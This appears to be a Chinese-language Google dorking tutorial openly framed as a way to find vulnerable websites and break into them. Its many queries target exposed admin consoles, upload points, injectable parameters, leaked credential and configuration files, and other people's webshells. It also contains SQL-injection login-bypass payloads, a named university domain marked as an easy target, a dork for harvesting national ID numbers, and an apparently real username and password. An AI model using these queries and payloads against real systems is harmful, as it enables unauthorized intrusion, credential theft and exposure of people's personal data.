google使用

google使用

基础过滤器

intitle:     从网页标题中搜索指定的关键字,可专门用来搜索指定版本名称的各类web程序,也可用allintitle
inurl: 	     从url中搜索指定的关键字,可专门用来构造各种形式的漏洞url,也可用allinurl
intext:      从网页中搜索指定的关键字,经常会用它来穿透到漏洞页面……也可用allintext
filetype:    搜索指定的文件后缀,例如:sql mdb txt bak backup ini zip rar doc xls…… 
site:        在某个特定的网站内中搜索指定的内容
link:        搜索和该链接有关联的链接,比如:友情链接
index of:    找目录遍历时也许会用到

google hacking所支持的一些通配符(建议选择性的用,因为越精确,也意味着能搜到的结果越少,这样容易漏掉一些有价值的目标,我们最终目的还是希望能尽快找到有漏洞的站先进去再说)

+   强制包含某个字符进行查询
-   查询的时候忽略某个字符
""  查询的时候精确匹配双引号内的字符
.   匹配某单个字符进行查询
*   匹配任意字符进行查询
|   或者,多个选择,只要有一个关键字匹配上即可

搜索实例

• 搜集各版本tomcat入口[默认在8080端口上]:

  intext:$CATALINA_HOME/webapps/ROOT/ intitle:apache tomcat 		直接这样搜结果肯定会非常多
  intext:$CATALINA_HOME/webapps/ROOT/ inurl:8080/    			我们可以带指定端口号去搜,因为有些web并非在默认端口上,这样搜的话,可以尽量防止有漏网之鱼
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:Apache Tomcat/5.5.27 site:*.hk      针对特定版本特定国家去搜,比如爆出某个版本有远程执行类的漏洞就可以利用这种方式来批量进行
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:Apache Tomcat/7.0.32 site:*.gov.br
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:Apache Tomcat/5.0.12 site:*.cn
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:Apache Tomcat/6.0.24 site:*.com
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:apache tomcat site:*.edu.*
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:apache tomcat site:*.gov.*		搜特定类型的目标站点,如,学校一般都是edu,各种民间组织一般都是org,政府机构一般都是gov……
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:apache tomcat site:*.org.*
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:Apache Tomcat/7.0 site:*.org.*
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:apache tomcat site:*.jp
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:apache tomcat site:*.vn
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:apache tomcat site:*.ph
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:Apache Tomcat site:*.uk
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:apache tomcat site:baidu.com	无意发现百度的某个子域,竟然是个博彩站
  intext:$CATALINA_HOME/webapps/ROOT/ intitle:apache tomcat site:org.tw
  

• 搜集weblogic入口:

  inurl:/console/login/LoginForm.jsp  	这样范围太大,可根据上面的示例随意变形
  inurl:/console/login/LoginForm.jsp intitle:Oracle WebLogic Server
  inurl:/console/login/ intitle:"Oracle WebLogic Server 管理控制台"
  

• 搜集jboss入口:

  inurl:/jmx-console/htmladaptor
  inurl:/jmx-console/htmladaptor site:*.edu.*
  inurl:/jmx-console/htmladaptor site:*.org.*
  inurl:/jmx-console/htmladaptor site:*.tw
  

• 搜集websphere入口:

  inurl:/ibm/console/logon.jsp
  

• 搜集phpmyadmin入口:

  inurl:/phpMyAdmin/index.php 
  inurl:/phpMyAdmin/index.php db+information_schema   	指定命中数据
  inurl:/phpMyAdmin/index.php intext:phpMyAdmin 2.7.0 	直接针对特定版本号去搜索,更加精准
  inurl:/phpMyAdmin/index.php site:*.tw
  inurl:/phpMyAdmin/index.php site:*.org
  inurl:/phpMyAdmin/index.php site:*.hk
  

• 批量搜集webmin入口[其实就是一个web版的linux系统管理工具,默认情况下工作在web端的10000端口上]:

  intitle:Login to Webmin intext:"login to the Webmin server on"
  

• 批量搜wordpress程序[关于wp的特征比较多,大家可自行构造]:

  inurl:/wp-login.php  site:*.hk
  index of /wp-content/uploads inurl:/wp-login.php
  inurl:/wp-content/themes/theagency    上传漏洞
  

• 批量搜joomla程序:

  inurl:/administrator/index.php
  inurl:index.php?option=com_advertisementboard  找注入
  inurl:index.php?option=com_carocci
  inurl:index.php?option=com_product
  inurl:/administrator/index.php site:*.hk
  

• 批量搜drupal程序:

  inurl:CHANGELOG.txt intext:drupal intext:"SA-CORE" -site:github.com -site:drupal.org
  
  批量搜discuz程序:
  批量搜集opencart程序:
  批量搜集phpbb程序:
  更多…
  

• 可以根据下面的一些特征去找特定的开源程序[这种命中率显然没有直接用特征目录的命中率高]:

  power by wordpress                powered by discuz x3.2
  powered by phpcms 2008            powered by drupal 7
  powered by dedecmsv57_gbk         powered by CubeCart 3.0.6
  Powered by phpBB 2.0.6            powered by paBugs 2.0 Beta 3
  inurl:wp-login.php                inurl:/administrator/index.php    
  inurl:/admina.php
  

• 批量搜集目标是否用了一些存在漏洞的邮件程序[不一定有,多尝试,反正是搜集,找到东西价值越高越好]:

  owa:
  inurl:/owa/auth/logon.aspx
  inurl:/owa/auth/logon.aspx site:*.org.*
  
  mirapoint(ShellShock):
  inurl:/cgi-bin/search.cgi site:*.org.*
  inurl:/cgi-bin/madmin.cgi
  

  Zimbra(本地包含):
  inurl:7071/zimbraAdmin/
  inurl:/help/en_US/standard/version.htm
  
  Atmail(用于连接数据库的配置文件泄露):
  TurboMail(配置错误,进入任意邮箱):
  U-mail(注入&getshell):
  Lotus Domino Webmail(越权访问):
  

• 批量找常规网站后台[下面的php也可以换成asp,aspx,jsp 多次尝试,因为每个国家对后台的命名习惯各有特色,所以,这里只列举了一些相对命中率比较高的,找到后台以后,记得习惯性多尝试几个弱口令,万能密码未授权之类的东西]:

  inurl:/manager/login.php site:*.jp
  inurl:/cms/login.php site:*.jp
  inurl:/manage/index.php site:*.jp
  inurl:/system/login.php site:*.jp
  inurl:/webadmin/login.php site:*.tw
  inurl:admin_login.php intitle:admin login
  inurl:admin_login.php intitle:admin page
  inurl:/admin/login.php site:*.tw
  inurl:/admin/index.php site:*.tw
  inurl:/system/adminlogin.asp  site:*.tw
  inurl:/manage/login.aspx  site:*.tw
  inurl:/sysadm/index.php  site:*.com
  ……
  

• 找svn泄露[运气好说不定能脱到密码]:

  inurl:/.svn/entries 
  inurl:/.svn/entries site:*.org.*
  inurl:/.svn/entries site:*.gov.br
  inurl:/.svn/entries site:*.hk
  

• 批量找目标的后台未授权访问:

  intext:"Website Design & Developed By : WebSay"  默认后台/admin
  intext:"Powered by ENS Consultants"  默认后台/admin/login.php
  intext:"Desenvolvimento - MW Way"    默认后台/admin/index.php
  inurl:.php?id= intext:"Web realizada por Soma Estudio" 
  inurl:/_mycps/login.php
  

• 批量找弱口令:

  intext:"design by weli"   默认后台: /adm/login.php 除了弱口令还有注入
  username : linjizen@gmail.com
  password : lin719192
  

• 尽可能多的找到能够利用的各种上传点[比如:各种典型的漏洞编辑器地址,ck,kindeditor,fck,ewebeditor……]:

  intext:" Powered by JADBM "   JADBM Cms upload shell 注册后登陆上传即可
  inurl:"/index.php/frontend/login/en"  Estate cms upload shell 注册后登陆上传即可
  inurl:/Content/Roxy_Fileman/   该路径下直接就是上传点
  index of:"filemanager/dialog.php"  该脚本就是上传脚本直接上传即可
  intext:"Desenvolvido por Webnet Soluções Tecnológicas." fck上传
  inurl:"subir_foto.php" 上传点
  inrul:"/imce?dir=" intitle:"File Browser"
  inurl:"Powered by Vision Helpdesk 3.9.10 Stable" 注册后登陆进去编辑个人配置上传
  index of /admin/fckeditor site:*.tw
  inurl:/ewebeditor/  site:*.tw
  inurl:/admin/upload_file.php
  inurl:/admin/upfile.php 
  inurl:/admin/upload.asp
  

• 找到可能存在包含和命令执行类的漏洞的一些典型参数:

  inurl:footer.inc.php?settings=
  inurl:/pb_inc/admincenter/index.php?page=
  inurl:/pnadmin/categories.inc.php?subpage=
  inurl:/index.php??view=src/sistema/vistas/
  inurl:/edit.php?em=file&filename=
  inurl:/path_to_athena/athena.php?athena_dir= 远程包含
  inurl:/path_to_qnews/q-news.php?id=  远程包含
  inurl:/inc/backend_settings.php?cmd=
  inurl:login.action strus2系列执行漏洞利用
  inurl:php?x=                 inurl:php?open=
  inurl:php?visualizar=        inurl:php?pagina=
  inurl:php?inc=               inurl:php?include_file=
  inurl:php?page=              inurl:php?pg=
  inurl:php?show=              inurl:php?cat=
  inurl:php?file=              inurl:php?path_local=
  inurl:php?filnavn=           inurl:php?HCL_path=
  inurl:php?doc=               inurl:php?appdir=
  inurl:php?phpbb_root_dir=    inurl:php?phpc_root_path=
  inurl:php?path_pre=          inurl:php?nic=
  inurl:php?sec=               inurl:php?content=
  inurl:php?link=              inurl:php?filename=
  inurl:php?dir=               inurl:php?document=
  inurl:index.php?view=        inurl:*.php?locate=
  inurl:*.php?place=           inurl:*.php?layout=
  inurl:*.php?go=              inurl:*.php?catch=
  inurl:*.php?mode=            inurl:*.php?name=
  inurl:*.php?loc=             inurl:*.php?f=
  inurl:*.php?inf=             inurl:*.php?pg=
  inurl:*.php?load=            inurl:*.php?naam=
  allinurl:php?page=           allinurl:php?file= 
  inurl:php?x=                 inurl:admin.php?cal_dir=
  inurl:php?include=           inurl:php?nav=
  inurl:*.php?sel=             inurl:php?p=
  inurl:php?conf=              inurl:php?prefix=
  inurl:theme.php?THEME_DIR= 
  inurl:php?lvc_include_dir=  
  inurl:php?basepath=          inurl:php?pm_path=
  inurl:php?user_inc=          inurl:php?cutepath=
  inurl:php?fil_config=        inurl:php?libpach=
  inurl:php?pivot_path=        inurl:php?rep=
  inurl:php?conteudo=          inurl:php?root=
  inurl:php?configFile         inurl:php?pageurl
  inurl:php?inter_url          inurl:php?url=
  inurl:php?cmd=               inurl:path.php?my=
  inurl:php?xlink=             inurl:php?to=
  inurl:file.php?disp=
  

• 找可能存在数据库注入各种参数:

  inurl:categorysearch.php?indus=
  intext:"樂天台東民宿網" inurl:news_board.php
  

• 小商城类:

  inurl:".php?catid=" intext:"View cart"
  inurl:".php?catid=" intext:"Buy Now"
  inurl:".php?catid=" intext:"add to cart"
  inurl:".php?catid=" intext:"shopping"
  inurl:".php?catid=" intext:"boutique"
  inurl:".php?catid=" intext:"/store/"
  inurl:".php?catid=" intext:"/shop/"
  inurl:".php?catid=" intext:"Toys"
  inurl:details.php?BookID=
  inurl:shop.php?do=part&id=
  

• 普通cms类:

  inurl:article.php?ID=        inurl:newsDetail.php?id=
  inurl:show.php?id=           inurl:newsone.php?id=
  inurl:news.php?id=           inurl:event.php?id=
  inurl:preview.php?id=        inurl:pages.php?id=
  inurl:main.php?id=           inurl:prod_detail.php?id=
  inurl:view.php?id=           inurl:product.php?id=
  inurl:contact.php?Id=        inurl:display_item.php?id=
  inurl:item.php?id=           inurl:view_items.php?id=
  inurl:details.asp?id=        inurl:profile.asp?id=
  inurl:content.asp?id=        inurl:display_item.asp?id=
  inurl:view_detail.asp?ID=    inurl:section.php?id=
  inurl:theme.php?id=          inurl:produit.php?id=
  inurl:chappies.php?id=       inurl:readnews.php?id=
  inurl:rub.php?idr=           inurl:pop.php?id=
  inurl:person.php?id=         inurl:read.php?id=
  inurl:reagir.php?num=        inurl:staff_id=
  inurl:gallery.php?id=        inurl:humor.php?id=
  inurl:spr.php?id=            inurl:gery.php?id=
  inurl:profile_view.php?id=
  inurl:fellows.php?id=        inurl:ray.php?id=
  inurl:productinfo.php?id=
  inurl:file.php?cont=         inurl:include.php?chapter=
  inurl:principal.php?param=
  inurl:general.php?menue=     inurl:php?pref=
  inurl:nota.php?chapter=      inurl:php?str=
  inurl:php?corpo=             inurl:press.php?*[*]*=
  

• 除了上面这些常规找注入的方式,你不妨还可以像下面这样,直接在网页标题中搜SQL语句,说不定也会有收获哦,web万能的谷歌:

  intitle:注入常用的一些sql语句,比如:常用的union,substr(),select等等……
  

• 批量搜集万能密码(其实也属于sql注入的一种)

  inurl:"wladmin/login.asp"  
  Username : '=' 'or'
  Password : '=' 'or'
  
  intext:POWERED BY Versatile Software Services       默认后台/alogin.aspx
  User ==> 'or''='
  Pass ==> 'or''='
  
  inurl:/media.php?hal=login
  Email: '=''or'@gmail.com
  Pass: '=''or'
  
  intext:"Powered by : Best Webmasterz." 默认后台/admin
  User : '=' 'OR'
  Pass : '=' 'OR'
  
  intext:"Web Design and Maintenance by Cloud 5 Solutions" 默认后台/admin/login.php
  User : '=' 'OR'
  Pass : '=' 'OR'
  
  intext:"网站设计：火龙科技" 默认后台/maintain/login.php
  Username : '=' 'or'
  Password : '=' 'or'
  
  intext:"Powered by Moodyworld" 默认后台/admin/
  Username : '=' 'or'
  Password : '=' 'or'
  

• 找遗留的各种数据库报错,物理路径,数据库版本,服务器探针类文件等等……

  site:*.tw  inurl:/phpinfo.php
  filetype:log "PHP Parse error"| "PHP Warning"
  site:*.tw  "id=" & intext:"Warning: mysql_fetch_array()
  site:*.jp  "id=" & intext:"Warning: getimagesize()
  site:*.br  "id=" & intext:"Warning: array_merge()
  site:*.tw  "id=" & intext:"Warning: mysql_fetch_assoc()
  site:*.tw  "id=" & intext:"Warning: mysql_result()
  site:*.jp  "id=" & intext:"Warning: pg_exec()
  site:*.tw  "id=" & intext:"Warning: require()
  inurl:/robots.txt site:*.*
  

• 搜集各种账号密码,比如,数据库密码,ftp,vpn,htpasswd,telnet等等……:

  可能会遗留的密码文件:
  inurl:passlist.txt
  inurl:password.txt
  
  重要配置文件泄露:
  inurl:/application/configs/  配置文件名为/application/configs/application.ini
  
  htpasswd:
  htpasswd.bak filetype:htpasswd
  
  vpn(cisco)[捅内网,非常有用]:
  filetype:pcf  "GroupPwd"
  
  cisco在线密码解密网站:
  https://www.unix-ag.uni-kl.de/~massar/bin/cisco-decode
  
  ftp 账号密码:
  "index of/" "ws_ftp.ini" "parent directory"
  "your password is" filetype:log
  filetype:ini inurl:"serv-u.ini"
  filetype:ini inurl:flashFXP.ini
  filetype:ini ServUDaemon
  filetype:ini wcx_ftp
  filetype:ini ws_ftp pwd
  ext:inc "pwd=" "UID="
  auth_user_file.txt
  
  例如:
  http://www.cryptoman.com/ftp/
  http://www.cryptoman.com/ftp/WS_FTP.ini
  

• 其他密码:

  default password list	直接在谷歌中搜各类缺省用户名密码
  admin account info" filetype:log
  

• 找目录遍历[上传点,数据库文件下载,phpmyadmin,网站后台及各种网站备份,源代码泄露等,同样也可以用这种方式慢慢找]:

  site:*.hk index of /admin
  site:*.hk index of /upfiles
  site:*.hk index of /fckeditor/editor/
  site:*.tw index of /admin/uploadfile
  site:*.tw index of /admin/file
  site:*.tw index of /system/file
  site:*.tw index of /phpmyadmin
  site:*.tw index of /web/backup/
  inurl:/phpmyadmin/index.php site:*.tw
  

• 搜同行们的各种工具脚本:

  绝大部分人在用别人东西的时候,基本是很少看里面代码的[即使开源],更不要说去除特征及后门,没办法现状如此,大家都很懒,既是如此,就不免要把自己的成果也被迫的共享给别人一份,所以养成良好的读代码习惯,是非常有必要的
  
  搜同行的脱裤脚本:
  intitle:登录 - Adminer    这里只是随便举个例子,你可以自己平时多搜集一些境内外常用的脱裤脚本的标题,文件名什么的,慢慢尝试,root空密码也很正常
  
  同样,你也可以用上面这种方式来找下别人的aspx嗅探脚本,例如:
  websniff
  
  找别人遗留的各种webshell,平时注意多搜集一些镜内外常用的大马特征,这里只是随便举几个例子,你可以随意组装自己的:
  inurl:b374k.php filetype:php
  inurl:c99.php
  inurl:c100.php Generation time:
  inurl:itsecteam_shell.php
  intext:x2300 Locus7Shell v. 1.0a beta Modded by
  intext:c99shell inurl:c99.php
  powered by Captain Crunch Security Team
  "inurl:c99.php" + "intext:safe"
  intitle:r57shell
  intitle:c99shell +uname
  inurl:c99.php uid=0(root)
  intitle:c99shell+filetype:php
  intitle:ly0kha shell
  inurl:.php "cURL: ON MySQL: ON MSSQL: OFF"
  "Shell" filetypehp intext:"uname -a:" "EDT 2010"
  intitle:"intitle:r57shell"
  inurl:"c99.php" & intext:Encoder Tools Proc. 
  inurl:"c100.php" & intext:Encoder Tools Proc. 
  intitle:"Shell" inurl:".php" & intext:Encoder Tools Proc.
  

• 找到目标的owa和vpn入口[内网入口]:

  owa入口:
    inurl:/owa/auth/logon intitle:outlook
    inurl:/owa/auth/logon intext:outlook
     
  vpn入口:
    inurl:/sslvpn site:hk
  

• 找些好下手的目标子域:

  site:polyu.edu.hk inurl:asp?pid=
  site:polyu.edu.hk inurl:aspx?id=
  site:polyu.edu.hk inurl:php?id=
  site:polyu.edu.hk inurl:jsp?id=
  site:polyu.edu.hk inurl:do?id=
  site:polyu.edu.hk inurl:cgi?id=
  

• 找目标的数据库备份及其它各类敏感文件目录[后缀一般为 sql,mdb,txt……],像数据库和网站备份这种东西,还是建议直接用工具跑比较好,前提是字典务必要精心制作:

  filetype:sql inurl:backup inurl:wp-content
  inurl:/eWebEditor/db/ site:*.com
  

• 从目标网站上搜集目标邮箱,说实话,目标自己网站上的邮箱价值一般都不是特别大:

  site:*.gov.tw *@gov.tw
  

• 关于google hacking的东西基本就到此为止了,最后再推荐一个不错的google dorks站点,方便大家练习:

  https://cxsecurity.com/exploit/  非常推荐
  https://www.exploit-db.com/google-hacking-database/ 并不推荐,exp不错,但这方面比较废
  

• 搜集个人身份证信息

  filetype:xls 身份证 site:cn